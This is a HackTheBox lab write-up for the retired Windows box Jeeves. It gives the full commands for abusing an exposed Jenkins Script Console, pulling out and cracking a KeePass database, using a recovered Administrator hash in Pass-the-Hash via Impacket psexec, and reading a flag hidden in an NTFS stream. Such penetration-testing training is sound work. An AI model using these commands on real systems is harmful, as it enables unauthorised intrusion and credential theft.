HackTheBox Jeeves Writeup

Jeeves is a retired medium-difficulty Windows machine and my second box from the CPTS Preparation Track on HackTheBox Labs. The path starts with an unauthenticated Jenkins instance and continues through a KeePass database, Pass-the-Hash and an NTFS Alternate Data Stream.
🕵️ Enumeration#
After spawning the machine and connecting to the HTB Labs VPN, I started with a full TCP port and service scan:
🔍 Initial Nmap Scan#
nmap -Pn -sT -sC -sV -p- --open --min-rate 1000 -T4 \
<TARGET_IP> \
-oA nmap/jeeves-full
The options used here are:
-Pnskips host discovery and treats the target as online.-sTperforms a full TCP connect scan.-sCruns Nmap’s default scripts.-sVdetects service versions.-p-scans all TCP ports.--opendisplays only open ports.--min-rate 1000asks Nmap to send at least 1,000 probes per second.-T4uses an aggressive timing template.-oAsaves the result in all major Nmap output formats.
The host exposes four TCP services:
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows SMB
50000/tcp open http Jetty 9.4.z-SNAPSHOT
The exposed services identify the target as a Windows host. The scan excerpt shown above does not establish an exact Windows edition or build. TCP port 50000 is especially interesting because its root path only returns a Jetty 404 response. This suggests that useful content may exist below another path.
🌐 Web Footprinting#
I used ffuf to enumerate directories on the Jetty service:
ffuf \
-u http://<TARGET_IP>:50000/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-fc 404
FUZZ marks the part of the URL that ffuf replaces with entries from the wordlist. The -fc 404 option filters normal Not Found responses from the result.
The scan reveals the path /askjeeves/. I verified the endpoint with a HEAD request:
curl -I http://<TARGET_IP>:50000/askjeeves/
The response identifies an old Jenkins deployment:
HTTP/1.1 200 OK
X-Hudson: 1.395
X-Jenkins: 2.87
Server: Jetty(9.4.z-SNAPSHOT)
The Jenkins instance is accessible without authentication. More importantly, its administrative Script Console is exposed at:
http://<TARGET_IP>:50000/askjeeves/script
The Jenkins documentation describes the Script Console as a Groovy shell with the ability to create subprocesses and read files available to the Jenkins process. Access to it is therefore effectively administrative access to Jenkins.
👣 Gaining Foothold#
I first used two harmless commands to confirm code execution in the Script Console:
println "whoami".execute().text
println "hostname".execute().text
The commands execute as the following Windows user:
jeeves\kohsuke
For Windows commands that contain arguments, I passed each argument as a separate list item and executed the command through cmd.exe:
println (["cmd", "/c", "whoami /priv"].execute().text)
The token contains SeImpersonatePrivilege, but this write-up follows the KeePass route instead of attempting token impersonation.
✅ User Flag#
The user flag is stored on the kohsuke desktop. I read it through the Jenkins Script Console:
println (["cmd", "/c", "type C:\\Users\\kohsuke\\Desktop\\user.txt"].execute().text)
User flag: [REDACTED]
🚀 Privilege Escalation#
🔐 Locating the KeePass Database#
I searched the kohsuke profile recursively for KeePass database files:
println (["cmd", "/c", "dir /s /b C:\\Users\\kohsuke\\*.kdbx"].execute().text)
The options /s and /b make dir search subdirectories and print only the matching paths. The database is stored at:
C:\Users\kohsuke\Documents\CEH.kdbx
Instead of uploading another file-transfer tool, I used Groovy to read the database and return it as Base64:
println new File("C:\\Users\\kohsuke\\Documents\\CEH.kdbx")
.bytes
.encodeBase64()
.toString()
I saved only the Base64 data as CEH.kdbx.b64 and decoded it on my attack host:
base64 -d CEH.kdbx.b64 > CEH.kdbx
I then checked the recovered file type:
file CEH.kdbx
🔓 Cracking the KeePass Master Password#
First, I converted the database into a hash format that John the Ripper understands:
keepass2john CEH.kdbx > CEH.hash
I then tested the hash against the RockYou wordlist:
john --wordlist=/usr/share/wordlists/rockyou.txt CEH.hash
After John found the password, I displayed the result with:
john --show CEH.hash
KeePass master password: [REDACTED]
I used KeePassXC’s command-line client to list the database entries recursively:
keepassxc-cli ls -R CEH.kdbx
The relevant entry is named Backup stuff. The -s option displays protected attributes in clear text:
keepassxc-cli show -s CEH.kdbx 'Backup stuff'
This entry contains an LM-hash/NT-hash pair in LMHASH:NTHASH format for the local Administrator account:
Administrator LMHASH:NTHASH: [REDACTED]
🎫 Pass-the-Hash#
Windows NTLM authentication can validate knowledge of the NT hash without requiring the original plaintext password. This technique is known as Pass-the-Hash.
I first tested the NT-hash component against SMB with NetExec:
nxc smb <TARGET_IP> \
-u Administrator \
-H <NT_HASH> \
--local-auth
The --local-auth option tells NetExec to authenticate against the target’s local account database instead of a domain. NetExec’s exact output varies by version, so I check for both successful authentication and the version-specific marker for administrative access rather than reproducing an unverified output line.
I used Impacket PsExec with the LMHASH:NTHASH value recovered from KeePass:
psexec.py \
-hashes '<LM_HASH>:<NT_HASH>' \
'Administrator@<TARGET_IP>' \
'whoami'
The command executes as SYSTEM:
nt authority\system
Some installations expose the upstream command as psexec.py, while packaged Debian or Kali installations may name it impacket-psexec.
PsExec-style execution uploads a temporary helper binary to an administrative share and creates a temporary Windows service. Impacket attempts to remove both, but cleanup is best-effort. The artifacts should be checked after a traceback or interrupted session.
✅ Root Flag#
There is no visible root.txt on the Administrator desktop. NTFS files can contain additional named data streams that do not appear in a normal directory listing.
I used the /R option to include Alternate Data Streams in the output:
dir /R C:\Users\Administrator\Desktop
The result exposes a stream named root.txt attached to hm.txt:
hm.txt
hm.txt:root.txt:$DATA
I read the named stream with PowerShell’s Get-Content cmdlet:
Get-Content -Path 'C:\Users\Administrator\Desktop\hm.txt' -Stream 'root.txt'
Root flag: [REDACTED]
The -Stream parameter selects the named NTFS stream instead of the file’s default data stream. Microsoft documents this behavior in the Get-Content reference.